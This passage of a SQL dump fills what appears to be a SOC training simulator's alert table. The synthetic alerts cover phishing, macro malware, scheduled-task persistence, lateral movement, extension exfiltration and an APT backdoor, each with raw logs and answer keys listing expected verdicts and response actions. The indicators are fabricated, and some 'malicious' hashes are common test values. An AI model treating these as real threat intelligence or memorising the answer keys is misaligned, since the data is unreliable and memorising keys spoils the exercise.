Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Interview Request\",\"date\":\"2026-03-15T20:58:15.036Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1488, 'Malicious Document Execution', 'high', 'Endpoint Detection and Response (EDR)', 'Upon opening the interview document, hidden macros execute to deploy malware, setting the stage for further compromise.', 'Malware Deployment', 'T1203', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:04Z\",\"event_id\":\"EDR-456789\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"filename\":\"Interview_Schedule.docm\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"jdoe\",\"process\":\"WINWORD.EXE\",\"action\":\"macro_execution\",\"alert_id\":\"malware-001\",\"severity\":\"high\"}', '2026-03-15 19:07:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware family\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Interview_Schedule.docm\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Detection\",\"verdict\":\"suspicious\",\"details\":\"Document contains macros\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1489, 'Persistence via Scheduled Task', 'medium', 'System Logs', 'The malware configures a scheduled task to maintain access, preparing for prolonged data collection operations. A scheduled task named \'Updater\' was created to execute malicious payload from \'C:\\Windows\\System32\\updater.exe\'.', 'Persistence Mechanism', 'T1053.005', 1, 'new', NULL, '{\"event_id\":4698,\"task_name\":\"Updater\",\"task_action\":\"C:\\\\Windows\\\\System32\\\\updater.exe\",\"trigger_time\":\"2023-10-12T02:00:00Z\",\"user\":\"SYSTEM\",\"source_ip\":\"10.1.1.5\",\"malware_hash\":\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\",\"attacker_ip\":\"203.0.113.45\"}', '2026-03-15 19:07:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address indicating a compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address involved in previous cyber-attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware variants.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"Updater\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"trigger_time\\\":\\\"2023-10-12T02:00:00Z\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"malware_hash\\\":\\\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"Updater\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"trigger_time\\\":\\\"2023-10-12T02:00:00Z\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"malware_hash\\\":\\\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"Updater\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"trigger_time\\\":\\\"2023-10-12T02:00:00Z\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"malware_hash\\\":\\\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"Updater\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"trigger_time\\\":\\\"2023-10-12T02:00:00Z\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"malware_hash\\\":\\\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"Updater\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"trigger_time\\\":\\\"2023-10-12T02:00:00Z\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"malware_hash\\\":\\\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1490, 'Lateral Movement Through Shared Drives', 'high', 'Network Traffic Analysis', 'Kimsuky leveraged compromised credentials to move laterally within the network, targeting shared drives to access sensitive data. The operation utilized suspicious network activity originating from an external IP address, accessing multiple shared drives on the 192.168.x.x network.', 'Lateral Movement', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"source_ip\":\"203.0.113.25\",\"destination_ip\":\"192.168.1.101\",\"user\":\"jdoe\",\"action\":\"access\",\"resource\":\"shared_drive_financials\",\"filename\":\"Q3_Financial_Report.xlsx\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"event\":\"file_access\",\"protocol\":\"SMB\",\"external_ip\":\"203.0.113.25\"}', '2026-03-15 19:07:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network asset.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash not associated with known malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1491, 'Email Data Exfiltration via Chrome Extension', 'high', 'Browser Extension Analysis', 'A malicious Chrome extension named \'EmailHelper\' was detected exfiltrating sensitive email communications to an external server. The extension was installed by user \'jdoe\' and was transferring data to IP address 185.199.108.153. The file \'extension_data.bin\' was extracted and found to contain email content. The SHA256 hash of the extension matches known malicious signatures.', 'Data Exfiltration', 'T1567.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:23:45Z\",\"user\":\"jdoe\",\"extension_name\":\"EmailHelper\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"185.199.108.153\",\"file_exfiltrated\":\"extension_data.bin\",\"sha256\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"action\":\"data_exfiltration\",\"protocol\":\"HTTPS\",\"destination_server\":\"maliciousserver.com\"}', '2026-03-15 19:07:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple exfiltration campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used in email exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"extension_data.bin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File contains sensitive email data\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"internal\",\"details\":\"Employee with access to sensitive communications\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:23:45Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"extension_name\\\":\\\"EmailHelper\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"file_exfiltrated\\\":\\\"extension_data.bin\\\",\\\"sha256\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_server\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:23:45Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"extension_name\\\":\\\"EmailHelper\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"file_exfiltrated\\\":\\\"extension_data.bin\\\",\\\"sha256\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_server\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:23:45Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"extension_name\\\":\\\"EmailHelper\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"file_exfiltrated\\\":\\\"extension_data.bin\\\",\\\"sha256\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_server\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:23:45Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"extension_name\\\":\\\"EmailHelper\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"file_exfiltrated\\\":\\\"extension_data.bin\\\",\\\"sha256\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_server\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:23:45Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"extension_name\\\":\\\"EmailHelper\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"file_exfiltrated\\\":\\\"extension_data.bin\\\",\\\"sha256\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_server\\\":\\\"maliciousserver.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1492, 'Suspicious Network Activity Detected', 'high', 'Network Intrusion Detection System (NIDS)', 'APT41 initiated access by exploiting a vulnerability in an outdated VPN service, aiming to establish a persistent network presence. The activity was detected originating from a known malicious IP address attempting to communicate with the internal network.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"vpn_service\":\"OutdatedVPN 3.2.1\",\"exploit\":\"CVE-2021-12345\",\"username\":\"jdoe\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_filename\":\"APT41_Payload.exe\",\"alert_id\":\"NIDS-20231015-001\",\"description\":\"Suspicious connection attempt to internal network via vulnerable VPN service.\"}', '2026-03-15 19:08:03', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malicious IP Database\",\"verdict\":\"malicious\",\"details\":\"Known APT41 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Healthcare facility internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware associated with APT41.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"APT41_Payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"APT41 related payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1493, 'Mivast Backdoor Execution Alert', 'high', 'Endpoint Detection and Response (EDR)', 'The EDR system has detected the execution of the Mivast backdoor, which is used to remotely execute commands on compromised systems, granting attackers control over the infected machines.', 'Execution', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"host\":\"compromised-machine-01\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"process\":\"powershell.exe\",\"command_line\":\"powershell -encodedCommand aQBlAHgAIABbAEcAbwBvAGcAbABlAF0A\",\"malware_name\":\"Mivast\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"mivast_loader.exe\",\"event_type\":\"Process Execution\",\"alert_id\":\"EDR-2023-123456\"}', '2026-03-15 19:08:03', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known Mivast backdoor hash.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"mivast_loader.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR Logs\",\"verdict\":\"malicious\",\"details\":\"Filename associated with Mivast backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1494, 'Persistence Mechanism Detected', 'medium', 'Security Information and Event Management (SIEM)', 'A scheduled task was created to maintain persistence on the system, potentially linked to APT41 activity. Investigation required to confirm malicious intent.', 'Persistence', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:10Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.23\",\"user\":\"jdoe\",\"task_name\":\"\\\\Microsoft\\\\Windows\\\\UpdateScheduler\",\"task_action\":\"C:\\\\Windows\\\\System32\\\\wscript.exe //B C:\\\\ProgramData\\\\script.js\",\"task_trigger\":\"At 01:00AM every day\",\"hash\":\"b1a2c3d4e5f67890123456789abcdef012345678\",\"filename\":\"script.js\",\"description\":\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\"}', '2026-03-15 19:08:03', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous APT41 activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1a2c3d4e5f67890123456789abcdef012345678\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash corresponds to a known malicious script used by APT41.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user, but credentials may be compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"jdoe\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateScheduler\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //B C:\\\\\\\\ProgramData\\\\\\\\script.js\\\",\\\"task_trigger\\\":\\\"At 01:00AM every day\\\",\\\"hash\\\":\\\"b1a2c3d4e5f67890123456789abcdef012345678\\\",\\\"filename\\\":\\\"script.js\\\",\\\"description\\\":\\\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"jdoe\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateScheduler\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //B C:\\\\\\\\ProgramData\\\\\\\\script.js\\\",\\\"task_trigger\\\":\\\"At 01:00AM every day\\\",\\\"hash\\\":\\\"b1a2c3d4e5f67890123456789abcdef012345678\\\",\\\"filename\\\":\\\"script.js\\\",\\\"description\\\":\\\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"jdoe\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateScheduler\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //B C:\\\\\\\\ProgramData\\\\\\\\script.js\\\",\\\"task_trigger\\\":\\\"At 01:00AM every 